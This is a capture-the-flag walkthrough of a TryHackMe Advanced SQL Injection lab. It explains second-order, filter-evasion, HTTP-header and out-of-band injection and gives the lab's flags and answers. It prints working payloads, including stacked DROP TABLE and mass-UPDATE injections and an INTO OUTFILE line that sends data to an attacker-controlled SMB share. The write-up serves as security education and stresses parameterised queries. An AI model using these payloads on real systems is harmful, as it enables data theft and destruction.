TryHackMe: Advanced SQL Injection
1. Executive Summary
SQL Injection is a web application vulnerability that occurs when user-controlled input is incorporated into SQL queries without proper parameterisation. While basic SQL injection techniques can be straightforward, modern applications may introduce additional challenges through input filtering, stored data, restricted output, or unusual injection points.
In this room, we explored several advanced SQL Injection techniques, including:
- In-band SQL Injection
- Second-order SQL Injection
- Filter-evasion techniques
- No-quote SQL Injection
- Bypassing space restrictions
- HTTP Header SQL Injection
- Out-of-band SQL Injection
- SMB-based data exfiltration
- SQL Injection automation
The practical exercises involved interacting with vulnerable web applications, analysing generated SQL queries, crafting payloads, bypassing simplistic filters, and retrieving hidden information from the underlying databases.
2. Task 2 — Quick Recap
Question 1: What type of SQL injection uses the same communication channel for both the injection and data retrieval?
Answer:
In-band
In-band SQL Injection occurs when the attacker sends the SQL injection through the same channel used to receive the results.
For example, if we inject a payload through a URL parameter:
http://target/search.php?id=1and modify it to perform SQL injection:
http://target/search.php?id=1' UNION SELECT ...the database results are returned directly through the HTTP response.
The communication flow is therefore:
Attacker
↓
HTTP Request containing SQL Injection
↓
Web Application
↓
Database
↓
HTTP Response containing extracted data
↓
AttackerQuestion 2: In out-of-band SQL injection, which protocol is usually used to send query results to the attacker’s server?
Answer:
HTTP
Out-of-band SQL Injection (OOB SQLi) is different because the attacker does not necessarily receive the database output through the original HTTP response.
Instead, the vulnerable database is manipulated into sending information to an external server controlled by the attacker.
For example:
Attacker
↓
Web Application
↓
Database
↓
HTTP request
↓
Attacker-controlled serverHTTP is commonly used as the communication protocol for this type of data exfiltration.
Other techniques can involve DNS or SMB depending on the database and environment.
3. Task 3 — Second-Order SQL Injection
Second-order SQL Injection is different from traditional SQL Injection because the malicious input is stored first and executed later.
The basic workflow is:
Malicious Input
↓
Stored in Database
↓
Application Retrieves Stored Data
↓
Stored Input Is Used in Another SQL Query
↓
SQL Injection ExecutesThis makes second-order SQL Injection particularly interesting because the initial input may appear harmless.
Question 1: What is the flag value after updating the title of all books to “compromised”?
Answer:
THM{SO_HACKED}
The vulnerable application allowed us to add a book using an SSN value.
The important observation was that the SSN was later reused inside the SQL query in update.php.
The normal query looked similar to:
UPDATE books
SET book_name = '$new_book_name',
author = '$new_author'
WHERE ssn = '$ssn';Because the $ssn value was placed directly into the SQL statement, we could store SQL syntax inside it.
We used a payload conceptually similar to:
12345'; UPDATE books SET book_name = 'compromised'; --The important parts are:
12345'closes the original string.;terminates the original SQL statement.UPDATE books SET book_name = 'compromised'introduces our second SQL statement.--comments out the remainder of the original query.
When the stored SSN was later used by the update functionality, the stored SQL became active.
The resulting query was effectively:
UPDATE books SET book_name = 'Testing', author = 'Hacker'
WHERE ssn = '12345';UPDATE books
SET book_name = 'compromised';-- remaining query
This changed the title of all books to:
compromisedQuestion 2: What is the flag value once you drop the table hello from the database?
Answer:
THM{Table_Dropped}
This question uses the same second-order SQL injection concept.
Instead of injecting an UPDATE statement, we construct a stored payload that causes a DROP TABLE statement to execute when the stored value is reused.
The important concept is that the payload does not necessarily execute when it is inserted.
It becomes dangerous when the application later retrieves that stored value and places it into another SQL query.
The SQL operation we want to execute is:
DROP TABLE hello;After triggering the vulnerable update functionality, the injected statement executes and removes the hello table.
The application then provides the flag:
Key Lesson
The major lesson from this task is:
Input that is safely stored is not necessarily safe when it is later reused in SQL.
Using parameterised queries throughout the application is the proper defence.
4. Task 4 — Filter Evasion Techniques
This task introduced techniques for bypassing simple SQL Injection filters.
The application attempted to remove SQL keywords such as:
OR
AND
UNION
SELECTfrom user input.
However, simply removing keywords is not an effective defence against SQL Injection.
Question 1: What is the MySQL error code once an invalid query is entered with bad characters?
Answer:
1064
We first tested the application with invalid SQL characters to determine whether our input was being incorporated into the database query.
The application displayed a database error when the generated SQL became invalid.
For example, the application was constructing queries similar to:
This indicates a SQL syntax error.
1064Question 2: What is the name of the book where book_id = 6?
Answer:
Animal Series
The application filtered common SQL keywords, so a traditional payload such as:
Intro to PHP' OR 1=1was not successful.
The filter was removing keywords such as OR.
We therefore used an alternative SQL logical operator:
||We also URL-encoded the special characters so that the request could pass through the application’s input processing.
The payload we used was:
Intro%20to%20PHP%27%20%7C%7C%201=1%20%2D%2D+this becomes:
http://<MACHINE_IP>/space/search_users.php?username=1%27%0A||%0A1=1%0A--%27+
The resulting SQL query displayed by the application was:
SELECT * FROM books
WHERE book_name = 'Intro to PHP' || 1=1 -- 'The important part is:
|| 1=1The condition:
1=1is always true.
The -- then comments out the remainder of the original query.
As a result, instead of returning only the requested book, the application returned multiple records:
We can therefore identify the book with ID 6:
Animal SeriesKey Lesson
This demonstrates why simple keyword blacklists are weak.
Blocking:
ORdoes not necessarily block the underlying SQL logic because alternative syntax such as:
||may perform a similar operation.
5. Task 5 — Filter Evasion Techniques Continued
This task focused on two common restrictions:
- Quotes are filtered
- Spaces are filtered
We also explored alternative representations that SQL parsers may still understand.
Question 1: What is the password for the username attacker?
Answer:
tesla
Exploitation
The vulnerable endpoint was:
http://<MACHINE_IP>/space/search_users.php?username=The application removed spaces and several SQL keywords from the input.
A normal payload such as:
1' OR 1=1 --would therefore be modified by the application.
Instead, we replaced spaces with URL-encoded newline characters:
%0AOur payload was: http://<MACHINE_IP>/space/search_users.php?username=1%27%0A||%0A1=1%0A--%27+
1%27%0A||%0A1=1%0A--%27+When decoded, this represents the equivalent of:
1'
||
1=1
--'The resulting SQL query shown by the application was:
SELECT * FROM user WHERE username = '1' || 1=1 --''Because:
1=1is always true, the query returned the available users.
The application displayed:
Therefore, the password belonging to the attacker account is:
teslaQuestion 2: Which of the following can be used if the SELECT keyword is banned?
Options:
a) SElect
b) SeLect
c) Both a and b
d) We cannot bypass SELECT keyword filterAnswer: c) Both a and b
The filter in this scenario was case-sensitive.
Therefore, a filter looking specifically for:
SELECTmay fail to recognise:
SElector:
SeLectThe SQL parser, however, generally treats SQL keywords as case-insensitive.
Get Sudoroot’s stories in your inbox
Join Medium for free to get updates from this writer.
Therefore:
SELECT
SElect
SeLect
selectcan all represent the same SQL keyword to the database.
This means both options a and b can bypass a simplistic case-sensitive filter.
Key Lesson
A blacklist should never be considered a reliable SQL Injection defence.
The correct protection is to use:
- Prepared statements
- Parameterised queries
- Proper database APIs
- Context-aware input handling
6. Task 6 — Out-of-Band SQL Injection
Out-of-band SQL Injection is useful when the application does not directly return database results to the attacker.
Instead, we make the database send information through another communication channel.
Possible channels include:
- HTTP
- DNS
- SMB
In this task, the environment demonstrated SMB-based data exfiltration.
Question 1: What is the output of @@version on the MySQL server?
Answer:
10.4.24-MariaDB
MySQL/MariaDB exposes system variables that provide information about the database server.
One of these is:
@@versionIt returns the database version.
Question 2: What is the value of @@basedir?
Answer:
C:/xampp/mysql
The @@basedir variable identifies the base directory of the MySQL/MariaDB installation.
The value returned by the lab was:
C:/xampp/mysqlThis also gives us useful information about the target environment — in this case, the database is running from an XAMPP installation on Windows.
Understanding the Out-of-Band Technique
The vulnerable endpoint was:
http://<MACHINE_IP>/oob/search_visitor.php?visitor_name=TimThe application constructed a query similar to:
SELECT * FROM visitor
WHERE name = '$visitor_name'Because the application allowed multiple SQL statements, we could terminate the original query and introduce another SQL statement.
The practical payload used the concept:
1';
SELECT @@version
INTO OUTFILE '\\ATTACKBOX_IP\logs\out.txt';
--The important components are:
1. Close the original string
1'This breaks out of:
WHERE name = '$visitor_name'2. Start another SQL statement
;3. Retrieve the database version
SELECT @@version4. Write the result to an external SMB location
INTO OUTFILE '\\ATTACKBOX_IP\logs\out.txt'5. Comment out the remaining SQL
--The result is that the database writes the requested information to the external SMB share instead of returning it through the normal web response.
Setting Up the SMB Share
On the AttackBox, the lab instructions use Impacket’s SMB server.
We can navigate to:
cd /opt/impacket/examplesThen start the SMB server:
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmpThis shares:
/tmpas:
logsWe can then monitor /tmp:
ls /tmpIf the SQL injection succeeds, the database creates the requested file in the SMB share.
Key Lesson
OOB SQL Injection is particularly useful when:
Database
↓
Query result
X
Web application does not display itInstead:
Database
↓
External network request
↓
Attacker-controlled serverThis allows information to be retrieved even when the application’s normal response does not expose the query results.
7. Task 7 — Other Techniques
This task demonstrated SQL Injection through an HTTP request header, specifically the User-Agent header.
Question 1: What is the value of the flag field in the books table where book_id = 1?
Answer:
THM{HELLO}
The vulnerable application processed the HTTP User-Agent header and used it in an SQL query.
We first confirmed that we could control the User-Agent header using curl.
The general format was:
curl -H "User-Agent: <payload>" http://<MACHINE_IP>/httpagent/We used a UNION-based SQL Injection payload:
curl -H "User-Agent: ' UNION SELECT book_id, flag FROM books WHERE book_id=1; # " http://<MACHINE_IP>/httpagent/The application displayed the generated query:
SELECT * FROM logs
WHERE user_Agent = ''
UNION SELECT book_id, flag
FROM books
WHERE book_id=1; #'The injected UNION SELECT retrieves:
book_id
flagfrom the books table.
The response contained:
id: 1
user_Agent: THM{HELLO}Question 2: What field is detected on the server side when extracting the User-Agent from an HTTP request?
Answer:
User-Agent
HTTP requests contain headers that provide information about the client.
One of these headers is:
User-AgentOn the PHP server, the application accesses this header using:
$_SERVER['HTTP_USER_AGENT']The value is then inserted into the database.
For example:
$userAgent = $_SERVER['HTTP_USER_AGENT'];Key Lesson
SQL Injection does not only occur in:
- Login forms
- Search boxes
- URL parameters
It can also occur through:
- HTTP headers
- Cookies
- JSON fields
- XML data
- Stored values
- API parameters
Every user-controlled input should therefore be treated as potentially untrusted.
8. Task 8 — Automation
The final task examined the challenges associated with automating SQL Injection detection.
Question 1: Does the dynamic nature of SQL queries assist a pentester in identifying SQL Injection?
Answer:
Nay
Explanation
Dynamic SQL queries generally make automated identification more difficult, rather than easier.
For example, an application might construct queries differently depending on:
- User input
- Session information
- Authentication state
- Application logic
- Database responses
- Different parameters
A simple automated scanner may therefore have difficulty determining exactly where and how the user’s input reaches the database.
Consider:
User Input
↓
Application Logic
↓
Validation
↓
Multiple Functions
↓
Dynamic SQL Query
↓
DatabaseThe more complicated this process becomes, the harder it is for an automated tool to reliably identify the injection point.
SQL Injection Automation Tools
Although automation has limitations, several tools can significantly assist penetration testers.
SQLMap
SQLMap is one of the most widely used tools for automated SQL Injection detection and exploitation.
It can assist with:
- Detecting SQL Injection
- Identifying database types
- Enumerating databases
- Enumerating tables
- Extracting records
- Testing different injection techniques
SQLNinja
SQLNinja focuses primarily on SQL Injection against Microsoft SQL Server environments.
JSQL Injection
JSQL Injection GitHub repository
JSQL Injection is a Java-based SQL Injection testing tool with a graphical interface.
BBQSQL
BBQSQL is designed particularly for automating Blind SQL Injection exploitation.
9. Conclusion
The Advanced SQL Injection room demonstrated that SQL Injection goes far beyond simply entering:
' OR 1=1 --We explored multiple techniques and saw how the location and behaviour of the vulnerable input determines the appropriate exploitation method.
The main techniques covered were:
TechniqueKey ConceptIn-band SQLiInjection and results use the same channelSecond-order SQLiMalicious input is stored and executed laterURL encodingEncodes characters to bypass simplistic filtersNo-quote SQLiUses alternative SQL syntax without quotesSpace bypassUses newline, tabs, or comments instead of spacesCase manipulationBypasses case-sensitive keyword filtersHTTP Header SQLiInjection occurs through HTTP headersOut-of-band SQLiData is transferred through another channelSMB exfiltrationDatabase writes information to an external SMB shareAutomationTools can assist with detection and exploitation
The most important lesson from the room is that blacklisting SQL keywords is not an effective defence against SQL Injection. Attackers can often find alternative syntax, encoding methods, different input locations, or completely different injection techniques.
The proper defence is to use parameterised queries and prepared statements, ensuring that user input is treated as data rather than executable SQL.
Ultimately, successful SQL Injection testing requires both automated tooling and manual analysis. Tools can accelerate discovery, but understanding the application’s SQL query construction is what allows a penetration tester to recognise and exploit less obvious injection points.

![[TryHackMe] Linux Logging for SOC — Walkthrough](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*MUKuBque3ZB7nEJx09rLfQ.png)


![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)




